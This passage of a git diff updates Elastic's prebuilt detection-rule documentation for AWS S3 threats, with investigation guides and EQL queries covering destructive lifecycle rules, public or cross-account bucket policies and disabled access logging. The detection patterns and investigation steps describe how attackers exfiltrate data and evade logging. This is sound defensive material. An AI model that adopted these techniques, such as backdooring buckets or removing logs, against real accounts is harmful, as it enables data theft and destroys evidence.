Details**: Investigate the user (`user_identity.arn`) who made the change. Determine whether this user's role typically involves managing S3 bucket configurations. - - **Authentication Details**: Examine the authentication method and whether the access key used (`access_key_id`) is routinely used for such configurations or if it has deviated from normal usage patterns. -- **Source IP and User Agent**: - - **Source IP Address**: The IP address (`source.ip`) from which the request was made can provide clues about the geographical location of the requester. Determine if this location aligns with the user’s known locations. - - **User Agent**: Analyze the user agent string to understand the type of client or service that made the request, which can help identify scripted automation versus manual changes. +*Possible investigation steps* -*Possible Indicators of Compromise or Misuse* +**Identify the actor and execution context** +- **Principal and Identity Type**: + Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id`. + Determine if the actor is an IAM user, role, or automation service account. + - Unusual: temporary credentials, federated roles, or previously inactive accounts. +- **Source Information**: + Review `source.ip`, `cloud.region`, and `user_agent.original` for unexpected geolocations, tool usage (CLI, SDK, automation service), or newly-observed hosts. +- **Timestamp correlation**: + Use `@timestamp` to check if this activity occurred during change windows or off-hours. -- **Frequent Changes**: Look for frequent modifications to lifecycle policies in the same or multiple buckets, which can indicate attempts to manipulate data retention dynamically. -- **Unusual User Activity**: Activities that do not correlate with the user's typical behavior patterns, such as making changes during odd hours or from unusual locations, should be flagged for further investigation. +**Examine the lifecycle configuration details** +- Extract details from `aws.cloudtrail.request_parameters`: + - `Expiration`: Number of days until deletion (e.g., `Days=1` indicates rapid expiry). + - `Prefix`: If limited to certain object paths (e.g., `/logs/`, `/tmp/`). + - `Status`: `Enabled` vs. `Disabled`. + - `ID` or rule name: May reveal purpose (“cleanup-test”, “delete-logs”). +- Determine the affected bucket from `aws.cloudtrail.resources.arn` or `aws.cloudtrail.resources.type`. + Cross-check the bucket’s purpose (e.g., log storage, data lake, analytics export, threat forensics). + - High-risk if the bucket contains audit, CloudTrail, or application logs. +**Correlate with related AWS activity** +Use AWS CloudTrail search or your SIEM to pivot for: +- **Prior suspicious activity**: + - `DeleteObject`, `PutBucketPolicy`, `PutBucketAcl`, or `PutBucketLogging` changes to disable visibility. + - IAM changes such as `AttachUserPolicy` or `CreateAccessKey` that may have enabled this modification. +- **Subsequent changes**: + - `PutBucketLifecycle` events in other buckets (repeated pattern). + - Rapid `DeleteObject` events or object expiration confirmations. +- **Cross-account activity**: + - Lifecycle rules followed by replication or cross-account copy events may indicate lateral exfiltration setup. -*False Positive Analysis* +**Assess intent and risk** +- Verify if the actor has a valid business case for altering object retention. +- If the bucket is used for security, compliance, or audit data, treat this as potential defense evasion. +- Evaluate whether the lifecycle rule removes data faster than your retention policy permits. -- Verify the operational requirements that might necessitate such lifecycle policies, especially in environments where data retention policies are strictly governed for compliance and cost-saving reasons. +*False positive analysis* -*Response and Remediation* +- **Cost optimization**: Storage teams may automate lifecycle policies to reduce cost on infrequently accessed data. +- **Compliance enforcement**: Organizations implementing legal retention policies may set expiration for specific datasets. +- **Automation and IaC pipelines**: Terraform or CloudFormation templates often apply `PutBucketLifecycle` during resource deployment. -- **Immediate Review**: If the change was unauthorized, consider reverting the lifecycle configuration change immediately to prevent potential data loss. -- **Enhance Monitoring**: Implement monitoring to alert on changes to lifecycle configurations across your S3 environments. -- **User Education**: Ensure that users with access to critical resources like S3 buckets are aware of the best practices and company policies regarding data retention and security. +*Response and remediation* -*Additional Information* +**Containment and validation** +1. **Revert or disable** the lifecycle configuration if it is unauthorized: + - Use the AWS Console or CLI (`delete-bucket-lifecycle` or `put-bucket-lifecycle-configuration --lifecycle-configuration Disabled`). +2. **Preserve evidence**: + - Copy existing objects (especially logs or forensic data) before they expire. + - Enable object versioning or replication to protect against loss. +**Investigation** +3. Review CloudTrail and S3 Access Logs for the same bucket: + - Identify who and what performed previous deletions. + - Determine whether any objects of investigative value have already been removed. +4. Search for other S3 buckets where similar lifecycle configurations were added in a short timeframe. -For further guidance on managing S3 lifecycle policies and ensuring compliance with organizational data retention and security policies, refer to the AWS official documentation on https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html[S3 Lifecycle Configuration]. +**Recovery and hardening** +5. Implement guardrails: + - Use AWS Config rules like `s3-bucket-lifecycle-configuration-check` to monitor lifecycle changes. + - Restrict `s3:PutLifecycleConfiguration` to specific administrative roles. + - Enable https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lock.html[S3 Object Lock] on log or evidence buckets to enforce immutability. +6. Enable Security Hub and GuardDuty findings for additional anomaly detection on S3 data management activity. -==== Setup +*Additional information* -This rule requires S3 data events to be logged to CloudTrail. CloudTrail trails can be configured to log S3 data events in the AWS Management Console or using the AWS CLI. +- **AWS Documentation** + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html[S3 Lifecycle Configuration] + - https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html[DeleteBucketLifecycle API Reference] +- **AWS Playbooks** + - https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-PersonalDataBreach.md[Data Exposure and Exfiltration Response] + - https://github.com/aws-samples/aws-customer-playbook-framework/tree/main[AWS Customer Playbook Framework] + ==== Rule query [source, js] ---------------------------------- -event.dataset: "aws.cloudtrail" and event.provider: "s3.amazonaws.com" and - event.action: PutBucketLifecycle and event.outcome: success and - aws.cloudtrail.request_parameters: (*LifecycleConfiguration* and *Expiration=*) +info where event.dataset == "aws.cloudtrail" + and event.action == "PutBucketLifecycle" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Expiration=") ---------------------------------- @@ -126,3 +169,23 @@ event.dataset: "aws.cloudtrail" and event.provider: "s3.amazonaws.com" and ** Name: Indicator Removal ** ID: T1070 ** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Sub-technique: +** Name: Lifecycle-Triggered Deletion +** ID: T1485.001 +** Reference URL: https://attack.mitre.org/techniques/T1485/001/ diff --git a/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-policy-added-to-allow-public-access.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-policy-added-to-allow-public-access.asciidoc new file mode 100644 index 0000000000..5131145c3e --- /dev/null +++ b/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-policy-added-to-allow-public-access.asciidoc @@ -0,0 +1,180 @@ +[[aws-s3-bucket-policy-added-to-allow-public-access]] +=== AWS S3 Bucket Policy Added to Allow Public Access + +Detects when an Amazon S3 bucket policy is modified to grant public access using a wildcard (Principal:"*") statement. This rule analyzes PutBucketPolicy events that include both Effect=Allow and Principal:"*" in the request parameters, indicating that permissions were extended to all identities, potentially making the bucket or its contents publicly accessible. Publicly exposing an S3 bucket is one of the most common causes of sensitive data leaks in AWS environments. Adversaries or misconfigurations can leverage this exposure to exfiltrate data, host malicious content, or collect credentials and logs left in open storage. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. +> While every effort has been made to ensure its quality, we recommend validating the content and adapting it to your specific environment and operational needs. + + +*Investigating AWS S3 Bucket Policy Added to Allow Public Access* + + +This rule detects modifications to Amazon S3 bucket policies using the `PutBucketPolicy` API where both `Effect=Allow` +and `Principal:"*"` are present. This effectively grants permissions to all AWS identities, including unauthenticated users. +Such exposure can result in sensitive data leaks, ransomware staging, or unauthorized data collection. + +This rule focuses on policy-based exposure rather than ACL-based or block-public-access configurations. +It will still trigger if a bucket policy includes both `Effect=Allow` and `Effect=Deny` statements that contain `Principal:"*"`. Those cases should be reviewed to confirm whether the `Deny` statement restricts access sufficiently. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. + - Validate whether this user or role is authorized to modify S3 bucket policies. + - Examine `source.ip`, `source.geo`, and `user_agent.original` to identify unusual sources or tools (e.g., CLI or SDK-based activity). + +- **Analyze the Bucket Policy Content** + - Extract the full JSON from `aws.cloudtrail.request_parameters`. + - Look for `Effect=Allow` statements paired with `Principal:"*"`. + - Identify what permissions were granted — for example: + - `s3:GetObject` (read access to all objects) + - `s3:PutObject` or `s3:*` (read/write access) + - Check if the policy also contains any `Effect=Deny` statements targeting `Principal:"*"`. + If present, determine whether these statements fully restrict public access, if so this alert can be closed. + +- **Assess the Impact and Scope** + - Review `aws.cloudtrail.resources.arn` to confirm which bucket was affected. + - Determine if the bucket contains sensitive, regulated, or internal data. + - Check for `PutPublicAccessBlock` or `DeleteBucketPolicy` events in close proximity, as attackers often disable protections first. + +- **Correlate with Related Activity** + - Review CloudTrail for `GetObject` or `ListBucket` events following the policy change to identify possible data access. + - Look for policy changes across multiple buckets by the same actor, suggesting scripted or automated misuse. + +- **Validate Intent** + - Contact the bucket owner or application owner to determine whether this change was part of a legitimate operation (e.g., website hosting or public dataset publishing). + - Review change management logs or ticketing systems for documented approval. + + +*False positive analysis* + + +- **Intended Public Access** + - Buckets used for static websites, documentation hosting, or public datasets may legitimately contain `Principal:"*"`. + - Verify such use cases are covered by organizational policies and hardened with least-privilege permissions (e.g., read-only). + +- **Effect=Deny Condition** + - This rule does not currently exclude cases where `Principal:"*"` appears under both `Effect=Allow` and `Effect=Deny`. + - Analysts should review the bucket policy JSON to confirm whether `Deny` statements restrict the same resources. + - If access remains blocked to unauthorized entities, the alert can be dismissed as a false positive. + +- **Automation or Pipeline Behavior** + - Some automated pipelines or templates (e.g., Terraform, CloudFormation) create temporary policies with `Principal:"*"` for bootstrap access. + Review timing, user agent, and role identity for expected automation patterns. + + +*Response and remediation* + + +- **Containment** + - If exposure is unauthorized, immediately remove the public access policy using: + - `aws s3api delete-bucket-policy` or restore from version control. + - Re-enable Block Public Access at the account and bucket levels. + +- **Investigation and Scoping** + - Review CloudTrail and S3 access logs to identify whether external IPs accessed bucket objects after the policy change. + - Search for similar policy updates across other buckets in the same account or region. + - Validate AWS Config history for baseline deviations and determine how long the bucket was publicly exposed. + +- **Recovery and Hardening** + - Reinstate the intended bucket policy from backups or version control. + - Implement AWS Config rules: + - `s3-bucket-public-read-prohibited` + - `s3-bucket-public-write-prohibited` + - Restrict `s3:PutBucketPolicy` permissions to trusted administrative roles. + - Apply service control policies (SCPs) that prevent policies containing `Principal:"*"` unless explicitly approved. + - Enable continuous monitoring through AWS Security Hub or GuardDuty for any new public exposure events. + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Effect=Allow") + and stringContains(aws.cloudtrail.request_parameters, "Principal=\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc index 23691c2a77..0a8a7c8171 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc @@ -1,7 +1,7 @@ [[aws-s3-bucket-policy-added-to-share-with-external-account]] === AWS S3 Bucket Policy Added to Share with External Account -Identifies an AWS S3 bucket policy change to share permissions with an external account. Adversaries may attempt to backdoor an S3 bucket by sharing it with an external account. This can be used to exfiltrate data or to provide access to other adversaries. This rule identifies changes to a bucket policy via the `PutBucketPolicy` API call where the policy includes an `Effect=Allow` statement that does not contain the AWS account ID of the bucket owner. +Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. *Rule type*: eql @@ -33,9 +33,10 @@ Identifies an AWS S3 bucket policy change to share permissions with an external * Data Source: AWS S3 * Use Case: Threat Detection * Tactic: Exfiltration +* Tactic: Collection * Resources: Investigation Guide -*Version*: 5 +*Version*: 6 *Rule authors*: @@ -51,55 +52,98 @@ Identifies an AWS S3 bucket policy change to share permissions with an external *Triage and analysis* +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + *Investigating AWS S3 Bucket Policy Added to Share with External Account* -This rule detects when an AWS S3 bucket policy is changed to share permissions with an external account. Adversaries may attempt to backdoor an S3 bucket by sharing it with an external account to exfiltrate data or provide access to other adversaries. This rule identifies changes to a bucket policy via the `PutBucketPolicy` API call where the policy includes an `Effect=Allow` statement that does not contain the AWS account ID of the bucket owner. +This rule detects when an S3 bucket policy is modified using the `PutBucketPolicy` API call to include an external AWS account ID. +It compares the bucket’s `recipient_account_id` to any account IDs included in the policy’s `Effect=Allow` statement, triggering +an alert if the two do not match. +Adversaries may exploit this to backdoor a bucket and exfiltrate sensitive data by granting permissions to another AWS account +they control, enabling ongoing access to the bucket’s contents even if IAM credentials are rotated or revoked. -*Possible Investigation Steps:* +This detection specifically focuses on policy-based sharing and does not alert when: +- The account ID appears within the bucket or object name being shared. +- The account owner explicitly matches the policy’s condition keys on something other than an ARN or account id (i.e. IP address). + +To fully monitor for suspicious sharing behavior, use this rule in combination with detections for: +- Unusual PutBucketPolicy requests +- Cross-account object access (e.g., `GetObject`, `PutObject`) +- Changes to bucket ACLs or access points -- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who made the change. Verify if this actor typically performs such actions and if they have the necessary permissions. -- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific changes made to the bucket policy. Look for any unusual parameters that could suggest unauthorized or malicious modifications. -- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. -- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the change occurred. Modifications during non-business hours or outside regular maintenance windows might require further scrutiny. -- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in other potentially suspicious activities. +*Possible investigation steps* -*False Positive Analysis:* +- **Identify the Actor and Context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. + - Determine if the identity typically manages S3 bucket policies. + - Examine `aws.cloudtrail.resources.arn` to determine which bucket is being shared. +- **Analyze the Policy Change** + - Review `aws.cloudtrail.request_parameters` to extract the policy JSON and identify the external AWS account ID(s) referenced. + - Check for `Effect=Allow` statements granting broad permissions such as `"Action": "s3:*"` or `"Resource": "*"`. + - Verify if the added principals correspond to known partners or external vendors. + - If AWS account ID(s) were only part of `Effect=Deny` statements, then this rule can be closed as a false positive. -- **Legitimate Administrative Actions**: Confirm if the bucket policy change aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems. -- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm. -- **Verify through Outcomes**: Check the `aws.cloudtrail.response_elements` and the `event.outcome` to confirm if the change was successful and intended according to policy. +- **Review Context and Source** + - Check `source.ip`, `source.geo`, and `user_agent.original` for anomalies — such as new IP ranges, access from unfamiliar geographies, or use of programmatic clients (`boto3`, `aws-cli`). +- **Correlate with Related Activity** + - Search CloudTrail for subsequent activity by the external AWS account ID(s): + - `GetObject`, `ListBucket`, or `PutObject` events that indicate data access or exfiltration. + - Look for additional configuration changes by the same actor, such as: + - `PutBucketAcl`, `PutBucketVersioning`, or `PutBucketReplication` — often part of a larger bucket compromise chain. + - Determine if multiple buckets were modified in quick succession. -*Response and Remediation:* +- **Validate Intent** + - Review internal change requests or documentation to confirm whether this external sharing was approved. + - If no approval exists, escalate immediately for potential compromise. -- **Immediate Review and Reversal if Necessary**: If the change was unauthorized, update the bucket policy to remove any unauthorized permissions and restore it to its previous state. -- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving sensitive data or permissions. -- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning bucket policy management and sharing permissions. -- **Audit Bucket Policies and Permissions**: Conduct a comprehensive audit of all bucket policies and associated permissions to ensure they adhere to the principle of least privilege. -- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. +*False positive analysis* -*Additional Information:* +- **Authorized Cross-Account Access** + - Some organizations legitimately share S3 buckets across accounts within a trusted AWS Organization or partner accounts. + - Validate whether the external account ID belongs to a known entity or service provider and is documented in your allowlist. +- **Automation or Deployment Pipelines** + - Continuous integration/deployment pipelines may temporarily attach cross-account policies for replication or staging. + - Verify the `user_agent.original` or role name — automation often includes identifiable strings. +- **Naming and Rule Logic Limitations** + - This rule excludes detections where the account ID appears in the bucket resource ARN (e.g., `mybucket-123456789012`). + - Such patterns are common in automated provisioning. For those scenarios, rely on complementary rules that directly monitor `PutBucketPolicy` events against those buckets. -For further guidance on managing S3 bucket policies and securing AWS environments, refer to the https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-cloudtrail-logging-for-s3.html[AWS S3 documentation] and AWS best practices for security. +*Response and remediation* -==== Setup +- **Immediate Review and Containment** + - If unauthorized sharing is confirmed, use the AWS CLI or Console to delete or revert the modified policy (`aws s3api delete-bucket-policy` or restore from version control). + - Remove external principals and reapply the correct bucket policy. + - Rotate access keys for the actor involved, especially if API access came from unexpected locations or tools. +- **Investigation and Scoping** + - Identify whether data was accessed by the external account via `GetObject` or `ListBucket` operations. + - Search CloudTrail logs for other buckets modified by the same actor or IP within the same timeframe. + - Use AWS Config to review version history of affected bucket policies and detect similar cross-account permissions. +- **Recovery and Hardening** + - Restrict `s3:PutBucketPolicy` to a limited set of administrative roles using least privilege. + - Enable AWS Config rule `s3-bucket-policy-grantee-check` to monitor for unauthorized policy additions. + - Use AWS GuardDuty or Security Hub findings to correlate policy changes with data exfiltration or credential compromise events. + - Apply service control policies (SCPs) to block cross-account sharing unless explicitly approved. -*Setup* +*Additional information* -S3 data event types must be collected in the AWS CloudTrail logs. Please refer to https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-cloudtrail-logging-for-s3.html[AWS documentation] for more information. + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. ==== Rule query @@ -107,11 +151,18 @@ S3 data event types must be collected in the AWS CloudTrail logs. Please refer t [source, js] ---------------------------------- -any where event.dataset == "aws.cloudtrail" +info where event.dataset == "aws.cloudtrail" and event.provider == "s3.amazonaws.com" - and event.action == "PutBucketPolicy" and event.outcome == "success" + and event.action == "PutBucketPolicy" and stringContains(aws.cloudtrail.request_parameters, "Effect=Allow") - and not stringContains(aws.cloudtrail.request_parameters, aws.cloudtrail.recipient_account_id) + and ( + stringContains(aws.cloudtrail.request_parameters, "AWS=") or + stringContains(aws.cloudtrail.request_parameters, "aws:PrincipalAccount=") or + stringContains(aws.cloudtrail.request_parameters, "aws:SourceAccount=") + ) +and not stringContains(aws.cloudtrail.request_parameters, "arn:aws:cloudfront::") +and not stringContains(aws.cloudtrail.request_parameters, "arn:aws:iam::cloudfront:user") +and not stringContains(aws.cloudtrail.request_parameters, aws.cloudtrail.recipient_account_id) ---------------------------------- @@ -125,3 +176,11 @@ any where event.dataset == "aws.cloudtrail" ** Name: Transfer Data to Cloud Account ** ID: T1537 ** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-server-access-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-server-access-logging-disabled.asciidoc index 86d1e7bb7d..4586e2ab1f 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-server-access-logging-disabled.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-server-access-logging-disabled.asciidoc @@ -35,7 +35,7 @@ Identifies when server access logging is disabled for an Amazon S3 bucket. Serve * Tactic: Defense Evasion * Resources: Investigation Guide -*Version*: 4 +*Version*: 5 *Rule authors*: @@ -48,7 +48,6 @@ Identifies when server access logging is disabled for an Amazon S3 bucket. Serve - *Triage and analysis* @@ -56,45 +55,70 @@ Identifies when server access logging is disabled for an Amazon S3 bucket. Serve *Investigating AWS S3 Bucket Server Access Logging Disabled* -This rule detects when server access logging is disabled for an S3 bucket in AWS. Such configurations could potentially hide evidence of unauthorized access or malicious activity by preventing the recording of those requests. +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + +This detection alerts when the server-access logging configuration for an S3 bucket is changed so that logging is disabled. +Because detailed request logs are central to tracking object access, modifications here are significant from a visibility and forensics standpoint. They can signal that an adversary is preparing to act (exfiltrate, delete, or manipulate data) while minimizing audit evidence. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to determine the who/what of the change. + - Inspect `user_agent.original`, `source.ip`, `@timestamp`, `cloud.account.id`, `cloud.region` for unusual or non-standard access patterns (e.g., new user, external IP, off-hours). + - Check the bucket resource (via `aws.cloudtrail.resources.arn`, `aws.cloudtrail.resources.type`) to determine the bucket’s business role (e.g., logs, backups, sensitive data store). + - Consider whether the bucket houses audit logs or access logs; if so, disabling logging is especially suspicious and a higher risk. + +**Correlate with related activities** + - Search for preceding or subsequent events by the same principal or for the same bucket: + - `DeleteObject`, `PutBucketAcl`, `PutBucketPolicy`, `RemoveBucketAccessPoint`, or other permissions changes (e.g., `PutBucketLifecycle`). + - `ListBucket`, `GetObject`, `CopyObject`, or large `GetObject` operations, especially from unusual IPs or cross-account. + - IAM changes in proximity: `AttachUserPolicy`, `CreateAccessKey`, `AssumeRole` by same principal or against the same principal. + - Review AWS Config or Audit logs to see if the bucket’s logging was previously enabled and how long it has been disabled. +**Evaluate intent and risk** + - If the bucket was being used to collect access logs or audit data, disabling logging significantly degrades forensic capability. + - Determine whether the actor has a legitimate business reason for modifying logging (ticket, change request, known automation). + - If not justified, treat this as a high-priority visibility compromise and proceed through escalation. -*Detailed Investigation Steps* +*False positive analysis* -- **Review the Affected S3 Bucket**: Check the bucket details (`bucketName`) where server access logging has been disabled. - - Determine the contents and importance of the data stored in this bucket to assess the impact of disabled logging. -- **Review User Identity and Activity**: - - Investigate the user (`user_identity.arn`) who made the change. Determine whether this user's role typically involves managing S3 bucket configurations. - - Examine the authentication method and whether the access key used (`access_key_id`) is routinely used for such configurations or if it has deviated from normal usage patterns. - - Contact the account owner and confirm whether they are aware of this activity. - - Considering the source IP address and geolocation of the user who issued the command: - - Do they look normal for the calling user? - - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? - - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? -- **Contextualize with Recent Changes**: Compare this event against recent changes in S3 configurations. Look for any other recent permissions changes or unusual administrative actions. -- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in other potentially suspicious activities. - - Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users. +- Storage teams may disable logging temporarily during migration or cost-optimisation exercises. +- Test or development buckets may routinely toggle logging for experimentation—document such buckets and roles. +- Trusted automation (tagged, known user-agent, internal IPs) may adjust logging. Consider allow-listing such automation while preserving watch-points for changes to high-sensitivity buckets. -*False Positive Analysis* +*Response and remediation* -- Verify the operational requirements that might necessitate disabling access logging, especially in environments where data retention policies are strictly governed for compliance and cost-saving reasons. +**1. Contain & restore visibility** + - Immediately re-enable server‐access logging for the affected bucket (ensure `LoggingEnabled=true` and correct `TargetBucket/Prefix`). + - If you suspect activity while logging was disabled, preserve any remaining object versions, cross-account access logs, or S3 Inventory data. -*Response and Remediation* +**2. Investigate scope and impact** + - Use CloudTrail Lake or Athena to query access to the bucket and objects for the timeframe when logging was disabled. + - Identify external IP addresses, unusual principals, or rapid object transfers or deletions. +**3. Recover & harden** + - Apply bucket-policy or SCP restrictions to prevent unauthorized modifications of `PutBucketLogging` for audit/logging buckets. + - Enable AWS Config rule (e.g., `cloudtrail-s3-bucket-access-logging`) to alert if logging is disabled. + - Ensure logging target buckets are configured with retention, versioning, and immutability (S3 Object Lock) to prevent tampering. -- **Immediate Review**: If the change was unauthorized, consider reverting the change immediately to prevent potential data loss. -- **Enhance Monitoring**: Implement monitoring to alert on changes to logging configurations across your S3 environments. -- **User Education**: Ensure that users with access to critical resources like S3 buckets are aware of the best practices and company policies regarding data retention and security. +**4. Improve & monitor** + - Update your incident response playbook to include this scenario (see AWS IR + Customer Playbook Framework). + - Educate stakeholders (storage, DevOps, security) that any change to logging configuration on buckets — especially audit/log buckets should be treated as a security event and ticketed. -*Additional Information* +*Additional information* -For further guidance on monitoring Amazon S3 and ensuring compliance with organizational data retention and security policies, refer to the AWS official documentation on https://docs.aws.amazon.com/AmazonS3/latest/userguide/monitoring-overview.html[Monitoring Amazon S3]. +- AWS documentation on https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerLogs.html[S3 Server Access Logging] +- https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS Incident Response Playbooks] +- https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework] ==== Rule query @@ -102,7 +126,8 @@ For further guidance on monitoring Amazon S3 and ensuring compliance with organi [source, js] ---------------------------------- -any where event.dataset == "aws.cloudtrail" +info where event.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" and event.action == "PutBucketLogging" and event.outcome == "success" and not stringContains(aws.cloudtrail.request_parameters, "LoggingEnabled") diff --git a/docs/detections/prebuilt-rules/rule-details/aws-s3-object-encryption-using-external-kms-key.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-s3-object-encryption-using-external-kms-key.asciidoc index d1ce290cd2..19f3b9bb11 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-s3-object-encryption-using-external-kms-key.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-s3-object-encryption-using-external-kms-key.asciidoc @@ -35,7 +35,7 @@ Identifies 